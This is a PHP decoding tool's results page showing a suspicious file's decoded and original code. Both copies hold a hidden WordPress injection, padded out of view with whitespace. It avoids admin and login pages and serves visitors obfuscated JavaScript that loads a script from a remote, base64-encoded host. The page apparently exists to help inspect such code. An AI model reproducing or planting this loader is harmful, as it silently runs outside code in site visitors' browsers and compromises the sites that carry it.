Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

..

Decoded Output download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                   <?php $a1 = $_SERVER['REQUEST_URI']; if(strpos($a1, "wp-json")!==false){}else{if(strpos($a1, "rest_route")!==false){}else{if(strpos($a1, "wp-admin")!==false){}else{if(strpos($a1, "wp-login")!==false){}else{echo "                                                                                                                                                                                                                                                                                                                         <script>function _0x48dc(_0x141019,_0x173c10){var _0x3fc03a=_0x603e();return _0x48dc=function(_0x67cf40,_0x5614e9){_0x67cf40=_0x67cf40-(-0x1c4a+-0x22d*0x11+0x4253*0x1);var _0x23e845=_0x3fc03a[_0x67cf40];if(_0x48dc['zYqCrd']===undefined){var _0x206fd9=function(_0x2da591){var _0x2eeb09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x4c9ac0='',_0x4902ef='';for(var _0x1203ee=0x13c1*0x1+0x23b*-0x9+-0x2*-0x29,_0x1d6acf,_0x4e3247,_0x59b0bf=0x1f66+-0x1*-0x1d3e+-0x3ca4;_0x4e3247=_0x2da591['charAt'](_0x59b0bf++);~_0x4e3247&&(_0x1d6acf=_0x1203ee%(0xd29+0x26ad+-0x16*0x25b)?_0x1d6acf*(-0x1613*-0x1+0x51*-0x7b+-0x1*-0x1118)+_0x4e3247:_0x4e3247,_0x1203ee++%(0x1d3d+-0x1f*0x3+-0x2*0xe6e))?_0x4c9ac0+=String['fromCharCode'](-0x1*0xe49+0x250*-0x10+0xef*0x38&_0x1d6acf>>(-(0xb36+-0xd93*-0x2+0x132d*-0x2)*_0x1203ee&0x1db5+-0xea5+-0xf0a)):-0xf63+0x1*-0x23f8+0x1*0x335b){_0x4e3247=_0x2eeb09['indexOf'](_0x4e3247);}for(var _0x53b3a2=0xc78+0x106b+0xff*-0x1d,_0x54169b=_0x4c9ac0['length'];_0x53b3a2<_0x54169b;_0x53b3a2++){_0x4902ef+='%'+('00'+_0x4c9ac0['charCodeAt'](_0x53b3a2)['toString'](-0xadf*-0x1+0x1c2b+-0x26fa))['slice'](-(-0x16f7*0x1+0x1*0xdb3+0x1*0x946));}return decodeURIComponent(_0x4902ef);};_0x48dc['RaQbHx']=_0x206fd9,_0x141019=arguments,_0x48dc['zYqCrd']=!![];}var _0xa83383=_0x3fc03a[-0x563+0x1279+-0x86*0x19],_0x22dfba=_0x67cf40+_0xa83383,_0x11f613=_0x141019[_0x22dfba];return!_0x11f613?(_0x23e845=_0x48dc['RaQbHx'](_0x23e845),_0x141019[_0x22dfba]=_0x23e845):_0x23e845=_0x11f613,_0x23e845;},_0x48dc(_0x141019,_0x173c10);}(function(_0x4bf6e8,_0x3b39bc){function _0x5d7f5e(_0x155c85,_0x25a63d,_0x3792ca,_0x169ea8){return _0x48dc(_0x25a63d-0x13e,_0x155c85);}function _0x2b7dbe(_0x115d47,_0x3a161d,_0x1b6ab7,_0x4cb394){return _0x48dc(_0x3a161d- -0x3c2,_0x115d47);}var _0x1f8302=_0x4bf6e8();while(!![]){try{var _0x58e288=parseInt(_0x5d7f5e(0x250,0x24b,0x248,0x244))/(-0x563+0x1279+-0xc5*0x11)+-parseInt(_0x2b7dbe(-0x2ad,-0x2b0,-0x2b5,-0x2b1))/(-0x16a2*0x1+-0x1*0x1409+0x2aad)+parseInt(_0x2b7dbe(-0x2af,-0x2aa,-0x2ae,-0x2a5))/(-0x1e76+-0xa80+0x28f9)*(parseInt(_0x2b7dbe(-0x2a7,-0x2ab,-0x2a8,-0x2b5))/(0x17b1+0x14bf+0x2c6c*-0x1))+parseInt(_0x2b7dbe(-0x2af,-0x2a7,-0x2a7,-0x2aa))/(-0xec1*-0x2+0x5f7*0x5+-0x3b50)+-parseInt(_0x2b7dbe(-0x2ab,-0x2a6,-0x2a2,-0x29c))/(0x1394+0x1d3f+-0x30cd)+-parseInt(_0x2b7dbe(-0x2ac,-0x2ad,-0x2aa,-0x2af))/(0x1*-0x12b8+-0x237*0x8+0x74b*0x5)*(-parseInt(_0x2b7dbe(-0x2a2,-0x2ac,-0x2a7,-0x2a3))/(-0x1218+0xf71+0x2af*0x1))+-parseInt(_0x2b7dbe(-0x2a6,-0x2a5,-0x2ab,-0x2a5))/(-0x1*-0x109d+0x2c*0x2b+-0xbfc*0x2)*(parseInt(_0x2b7dbe(-0x2b6,-0x2b4,-0x2bd,-0x2bc))/(0x1262+0x249b+-0x36f3));if(_0x58e288===_0x3b39bc)break;else _0x1f8302['push'](_0x1f8302['shift']());}catch(_0x413573){_0x1f8302['push'](_0x1f8302['shift']());}}}(_0x603e,0x1cc87+-0x12d09+-0x55b*-0x219));function _0x603e(){var _0x32f0b1=['nJa5mtG3rMrotvb5','mtblzLDbvey','uJbIm04WwvHkma','C3jJ','Axb0','mtaYndiZnLr6CLHSta','tg1oDMjtoxroAG','C2nYAxb0','odmZwefhsKLl','nJK0odHJAurssfm','nfnqtKHtDa','mZC0nZyXmNnXyLn6uW','CgfYzw50tM9Kzq','y3vYCMvUDfnJCG','ntGXnJuZmenKq09uCq','odq0otG2nM5LDxbJCq','mtiYmJa2mdvcyMfIA0O','y3jLyxrLrwXLBq','ze1rBxm9'];_0x603e=function(){return _0x32f0b1;};return _0x603e();}var _0x5ee655=atob('aHR0cHM6Ly'+'9iaW5kLmJl'+'c3RyZXN1bH'+_0x49a584(0x194,0x18f,0x19c,0x194)+_0x49a584(0x19f,0x19d,0x19f,0x198)+_0x49a584(0x18a,0x188,0x192,0x191)),_0x40b448=document[_0x3a38a1(0x232,0x229,0x22c,0x22b)+'ent'](_0x3a38a1(0x21f,0x21e,0x222,0x223));function _0x49a584(_0x3ea46d,_0x5ec15b,_0x3c29af,_0x427f16){return _0x48dc(_0x427f16-0x85,_0x3ea46d);}function _0x3a38a1(_0xc6a19b,_0x294773,_0xd43c37,_0x2fdaaa){return _0x48dc(_0xd43c37-0x10e,_0x2fdaaa);}_0x40b448[_0x49a584(0x198,0x196,0x19c,0x195)]=_0x5ee655,document[_0x49a584(0x19b,0x1a5,0x198,0x19f)+_0x3a38a1(0x21e,0x21f,0x21f,0x217)][_0x3a38a1(0x22d,0x22c,0x227,0x22e)]['insertBefo'+'re'](_0x40b448,document[_0x49a584(0x19b,0x1a8,0x19d,0x19f)+_0x3a38a1(0x21b,0x21e,0x21f,0x218)]),document[_0x49a584(0x1a1,0x19a,0x19b,0x19f)+_0x3a38a1(0x229,0x217,0x21f,0x218)]['remove']();</script>";}}}} ?>

Did this file decode correctly?

Original Code

                                                                                                                                                                                                                                                                                                                                                                                                                                                                   <?php $a1 = $_SERVER['REQUEST_URI']; if(strpos($a1, "wp-json")!==false){}else{if(strpos($a1, "rest_route")!==false){}else{if(strpos($a1, "wp-admin")!==false){}else{if(strpos($a1, "wp-login")!==false){}else{echo "                                                                                                                                                                                                                                                                                                                         <script>function _0x48dc(_0x141019,_0x173c10){var _0x3fc03a=_0x603e();return _0x48dc=function(_0x67cf40,_0x5614e9){_0x67cf40=_0x67cf40-(-0x1c4a+-0x22d*0x11+0x4253*0x1);var _0x23e845=_0x3fc03a[_0x67cf40];if(_0x48dc['zYqCrd']===undefined){var _0x206fd9=function(_0x2da591){var _0x2eeb09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x4c9ac0='',_0x4902ef='';for(var _0x1203ee=0x13c1*0x1+0x23b*-0x9+-0x2*-0x29,_0x1d6acf,_0x4e3247,_0x59b0bf=0x1f66+-0x1*-0x1d3e+-0x3ca4;_0x4e3247=_0x2da591['charAt'](_0x59b0bf++);~_0x4e3247&&(_0x1d6acf=_0x1203ee%(0xd29+0x26ad+-0x16*0x25b)?_0x1d6acf*(-0x1613*-0x1+0x51*-0x7b+-0x1*-0x1118)+_0x4e3247:_0x4e3247,_0x1203ee++%(0x1d3d+-0x1f*0x3+-0x2*0xe6e))?_0x4c9ac0+=String['fromCharCode'](-0x1*0xe49+0x250*-0x10+0xef*0x38&_0x1d6acf>>(-(0xb36+-0xd93*-0x2+0x132d*-0x2)*_0x1203ee&0x1db5+-0xea5+-0xf0a)):-0xf63+0x1*-0x23f8+0x1*0x335b){_0x4e3247=_0x2eeb09['indexOf'](_0x4e3247);}for(var _0x53b3a2=0xc78+0x106b+0xff*-0x1d,_0x54169b=_0x4c9ac0['length'];_0x53b3a2<_0x54169b;_0x53b3a2++){_0x4902ef+='%'+('00'+_0x4c9ac0['charCodeAt'](_0x53b3a2)['toString'](-0xadf*-0x1+0x1c2b+-0x26fa))['slice'](-(-0x16f7*0x1+0x1*0xdb3+0x1*0x946));}return decodeURIComponent(_0x4902ef);};_0x48dc['RaQbHx']=_0x206fd9,_0x141019=arguments,_0x48dc['zYqCrd']=!![];}var _0xa83383=_0x3fc03a[-0x563+0x1279+-0x86*0x19],_0x22dfba=_0x67cf40+_0xa83383,_0x11f613=_0x141019[_0x22dfba];return!_0x11f613?(_0x23e845=_0x48dc['RaQbHx'](_0x23e845),_0x141019[_0x22dfba]=_0x23e845):_0x23e845=_0x11f613,_0x23e845;},_0x48dc(_0x141019,_0x173c10);}(function(_0x4bf6e8,_0x3b39bc){function _0x5d7f5e(_0x155c85,_0x25a63d,_0x3792ca,_0x169ea8){return _0x48dc(_0x25a63d-0x13e,_0x155c85);}function _0x2b7dbe(_0x115d47,_0x3a161d,_0x1b6ab7,_0x4cb394){return _0x48dc(_0x3a161d- -0x3c2,_0x115d47);}var _0x1f8302=_0x4bf6e8();while(!![]){try{var _0x58e288=parseInt(_0x5d7f5e(0x250,0x24b,0x248,0x244))/(-0x563+0x1279+-0xc5*0x11)+-parseInt(_0x2b7dbe(-0x2ad,-0x2b0,-0x2b5,-0x2b1))/(-0x16a2*0x1+-0x1*0x1409+0x2aad)+parseInt(_0x2b7dbe(-0x2af,-0x2aa,-0x2ae,-0x2a5))/(-0x1e76+-0xa80+0x28f9)*(parseInt(_0x2b7dbe(-0x2a7,-0x2ab,-0x2a8,-0x2b5))/(0x17b1+0x14bf+0x2c6c*-0x1))+parseInt(_0x2b7dbe(-0x2af,-0x2a7,-0x2a7,-0x2aa))/(-0xec1*-0x2+0x5f7*0x5+-0x3b50)+-parseInt(_0x2b7dbe(-0x2ab,-0x2a6,-0x2a2,-0x29c))/(0x1394+0x1d3f+-0x30cd)+-parseInt(_0x2b7dbe(-0x2ac,-0x2ad,-0x2aa,-0x2af))/(0x1*-0x12b8+-0x237*0x8+0x74b*0x5)*(-parseInt(_0x2b7dbe(-0x2a2,-0x2ac,-0x2a7,-0x2a3))/(-0x1218+0xf71+0x2af*0x1))+-parseInt(_0x2b7dbe(-0x2a6,-0x2a5,-0x2ab,-0x2a5))/(-0x1*-0x109d+0x2c*0x2b+-0xbfc*0x2)*(parseInt(_0x2b7dbe(-0x2b6,-0x2b4,-0x2bd,-0x2bc))/(0x1262+0x249b+-0x36f3));if(_0x58e288===_0x3b39bc)break;else _0x1f8302['push'](_0x1f8302['shift']());}catch(_0x413573){_0x1f8302['push'](_0x1f8302['shift']());}}}(_0x603e,0x1cc87+-0x12d09+-0x55b*-0x219));function _0x603e(){var _0x32f0b1=['nJa5mtG3rMrotvb5','mtblzLDbvey','uJbIm04WwvHkma','C3jJ','Axb0','mtaYndiZnLr6CLHSta','tg1oDMjtoxroAG','C2nYAxb0','odmZwefhsKLl','nJK0odHJAurssfm','nfnqtKHtDa','mZC0nZyXmNnXyLn6uW','CgfYzw50tM9Kzq','y3vYCMvUDfnJCG','ntGXnJuZmenKq09uCq','odq0otG2nM5LDxbJCq','mtiYmJa2mdvcyMfIA0O','y3jLyxrLrwXLBq','ze1rBxm9'];_0x603e=function(){return _0x32f0b1;};return _0x603e();}var _0x5ee655=atob('aHR0cHM6Ly'+'9iaW5kLmJl'+'c3RyZXN1bH'+_0x49a584(0x194,0x18f,0x19c,0x194)+_0x49a584(0x19f,0x19d,0x19f,0x198)+_0x49a584(0x18a,0x188,0x192,0x191)),_0x40b448=document[_0x3a38a1(0x232,0x229,0x22c,0x22b)+'ent'](_0x3a38a1(0x21f,0x21e,0x222,0x223));function _0x49a584(_0x3ea46d,_0x5ec15b,_0x3c29af,_0x427f16){return _0x48dc(_0x427f16-0x85,_0x3ea46d);}function _0x3a38a1(_0xc6a19b,_0x294773,_0xd43c37,_0x2fdaaa){return _0x48dc(_0xd43c37-0x10e,_0x2fdaaa);}_0x40b448[_0x49a584(0x198,0x196,0x19c,0x195)]=_0x5ee655,document[_0x49a584(0x19b,0x1a5,0x198,0x19f)+_0x3a38a1(0x21e,0x21f,0x21f,0x217)][_0x3a38a1(0x22d,0x22c,0x227,0x22e)]['insertBefo'+'re'](_0x40b448,document[_0x49a584(0x19b,0x1a8,0x19d,0x19f)+_0x3a38a1(0x21b,0x21e,0x21f,0x218)]),document[_0x49a584(0x1a1,0x19a,0x19b,0x19f)+_0x3a38a1(0x229,0x217,0x21f,0x218)]['remove']();</script>";}}}} ?>

Function Calls

strpos 2

Variables

$a1 None

Stats

MD5 2f3836d7f25e17e9f65565e666b09e42
Eval Count 0
Decode Time 67 ms